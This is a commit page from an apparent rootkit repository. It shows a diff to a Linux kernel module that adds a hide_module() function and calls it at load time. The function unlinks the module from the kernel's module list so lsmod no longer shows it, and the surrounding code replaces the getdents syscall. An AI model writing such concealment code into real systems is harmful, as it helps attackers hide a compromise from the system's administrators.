Merge branch 'dev_jkr' into 'master'
Modul verstecken implementiert See merge request jan-koerner-enterprises/8008135!1
This commit is contained in:
commit
f613f77845
@ -83,6 +83,18 @@ asmlinkage long sys_getdents_new(unsigned int fd,
|
|||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*** FUNCTION ****************************************************************
|
||||||
|
* NAME: hide_module
|
||||||
|
* DESCRIPTION: hides the module from lsmod
|
||||||
|
* PARAMETERS: -
|
||||||
|
* RETURNS:
|
||||||
|
*******************************************************************************/
|
||||||
|
void hide_module(void){
|
||||||
|
list_del(&THIS_MODULE->list);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
/*** FUNCTION ****************************************************************
|
/*** FUNCTION ****************************************************************
|
||||||
* NAME: 8008135_init
|
* NAME: 8008135_init
|
||||||
* DESCRIPTION: initializing Kernel Module
|
* DESCRIPTION: initializing Kernel Module
|
||||||
@ -108,6 +120,9 @@ static int __init init_8008135(void) {
|
|||||||
|
|
||||||
printk(KERN_INFO "New syscall in place\n");
|
printk(KERN_INFO "New syscall in place\n");
|
||||||
|
|
||||||
|
hide_module();
|
||||||
|
printk(KERN_INFO "Module hidden");
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user